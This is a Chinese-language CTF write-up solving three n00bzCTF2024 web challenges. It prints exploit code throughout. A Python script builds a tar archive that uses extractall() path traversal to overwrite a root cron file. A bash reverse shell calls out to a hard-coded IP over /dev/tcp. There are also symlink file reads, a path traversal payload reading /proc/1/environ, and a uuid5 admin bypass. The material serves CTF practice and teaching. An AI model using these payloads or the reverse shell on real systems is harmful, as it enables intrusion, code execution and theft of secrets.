【Web】复现n00bzCTF2024 web题解(全)

目录

[File Sharing Portal](#File Sharing Portal)

方法一:

方法二:

Focus-on-yourSELF

Passwordless


File Sharing Portal

附件的Dockerfile给了这么一段

# Add the cron job to the crontab
RUN mkdir /etc/cron.custom
RUN echo "*/5 * * * * root rm -rf /app/uploads/*" > /etc/cron.custom/cleanup-cron
RUN echo "* * * * * root cd / && run-parts --report /etc/cron.custom" | tee -a /etc/crontab
# Give execution rights on the cron job
RUN chmod +x /etc/cron.custom/cleanup-cron
RUN crontab /etc/cron.custom/cleanup-cron
RUN crontab /etc/crontab
  • 创建目录/etc/cron.custom 用于存储自定义的 cron 任务。
  • 定义清理任务 :每 5 分钟清理 /app/uploads/ 目录下的文件,写入到 /etc/cron.custom/cleanup-cron 文件中。
  • 在 crontab 中注册 :将 /etc/cron.custom 目录中的任务每分钟运行一次,run-parts 会执行目录下的所有脚本。
  • 赋予执行权限:给 cron 脚本执行权限。
  • 安装到 crontab :通过 crontab 命令安装任务到系统中。

那么我们可以用恶意文件覆盖/etc/cron.custom/cleanup-cron

注意到flag在/app下

COPY REDACTED.txt /app/
# The flag file is redacted on purpose

题目源码存在目录穿越漏洞

tar_file.extractall() :解压 .tar 文件的 extractall() 方法未指定安全检查,因此如果 .tar 文件包含特意构造的文件路径(如 ../../),则攻击者可以将文件解压到任意目录,甚至覆盖系统中的敏感文件。

先用路径穿越覆盖/etc/cron.custom/cleanup-cron

方法一:

cronjob.txt

#!/bin/bash
ls /app/ > /app/ls.txt

再给777权限

chmod 777 cronjob.txt

生成一个恶意的tar文件,上传

import tarfile
import os

# Overwrite the cronjob
with tarfile.open('write.tar', 'w') as tar:
    tar.add('cronjob.txt', arcname='../../../etc/cron.custom/cleanup-cron') 

再用软链接读/app/ls.txt

ln -s /app/ls.txt dummy.txt

生成tar包,上传

import tarfile

def create_tar_with_symlinks(tar_path, path):
    with tarfile.open(tar_path, 'w') as tar:
        tar.add(path, arcname=path)


create_tar_with_symlinks('read_ls_txt.tar', 'dummy.txt') # Read dummy.txt to read the `ls.txt`

读dummy.txt得到flag文件名

/app/flag_15b726a24e04cc6413cb15b9d91e548948dac073b85c33f82495b10e9efe2c6e.txt

rm dummy.txt
ln -s /app/flag_15b726a24e04cc6413cb15b9d91e548948dac073b85c33f82495b10e9efe2c6e.txt dummy.txt

import tarfile

def create_tar_with_symlinks(tar_path, path):
    with tarfile.open(tar_path, 'w') as tar:
        tar.add(path, arcname=path)


create_tar_with_symlinks('read_flag.tar', 'dummy.txt') # Read dummy.txt to read the flag!

同理上传生成的tar,读dummy.txt拿到flag

方法二:

cronjob.txt直接写反弹shell

#!/bin/bash
bash -c "bash -i >& /dev/tcp/124.222.136.33/1337 0>&1"

再生成恶意tar包,上传

import tarfile
import os

# Overwrite the cronjob
with tarfile.open('rev.tar', 'w') as tar:
    tar.add('cronjob.txt', arcname='../../../etc/cron.custom/cleanup-cron') 

成功反弹shell

翻目录拿flag

Focus-on-yourSELF

点击View会显示一张图片

注意到url存在文件包含点

尝试打目录穿越

payload:

/view?image=../../../../../../../../../proc/1/environ

base64解码拿到flag

Passwordless

源码

#!/usr/bin/env python3
from flask import Flask, request, redirect, render_template, render_template_string
import subprocess
import urllib
import uuid
global leet

app = Flask(__name__)
flag = open('/flag.txt').read()
leet=uuid.UUID('13371337-1337-1337-1337-133713371337')

@app.route('/',methods=['GET','POST'])
def main():
    global username
    if request.method == 'GET':
        return render_template('index.html')
    elif request.method == 'POST':
        username = request.values['username']
        if username == 'admin123':
            return 'Stop trying to act like you are the admin!'
        uid = uuid.uuid5(leet,username) # super secure!
        return redirect(f'/{uid}')

@app.route('/<uid>')
def user_page(uid):
    if uid != str(uuid.uuid5(leet,'admin123')):
        return f'Welcome! No flag for you :('
    else:
        return flag

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337)

自己生成给定命名空间下admin123的uuid即可

import uuid

# 定义固定的命名空间 UUID
leet = uuid.UUID('13371337-1337-1337-1337-133713371337')

# 生成 uuid5 值
uid = uuid.uuid5(leet, 'admin123')

# 输出结果
print(uid)
#3c68e6cc-15a7-59d4-823c-e7563bbb326c

访问./3c68e6cc-15a7-59d4-823c-e7563bbb326c拿到flag

相关推荐
知孤云出岫4 小时前
web 渗透学习指南——初学者防入狱篇
前端·网络安全·渗透·web
centos081 天前
PWN(栈溢出漏洞)-原创小白超详细[Jarvis-level0]
网络安全·二进制·pwn·ctf
Sweet_vinegar1 天前
变异凯撒(Crypto)
算法·安全·ctf·buuctf
细心的莽夫1 天前
JavaWeb学习笔记
java·开发语言·笔记·学习·java-ee·web
Mr_Fmnwon1 天前
【我的 PWN 学习手札】House of Roman
pwn·ctf·heap
kali-Myon2 天前
NewStarCTF2024-Week5-Web&Misc-WP
前端·python·学习·mysql·web安全·php·web
觅_2 天前
HTML 鼠标滑动 页面的header背景从透明色变为黑色
前端·html·web
知孤云出岫2 天前
web安全测试渗透案例知识点总结(下)——小白入狱
网络·网络安全·web
真学不来3 天前
ACTF新生赛2020:NTFS数据流
网络·笔记·python·安全·ctf
安红豆.4 天前
[NewStarCTF 2023 公开赛道]逃1
web安全·网络安全·ctf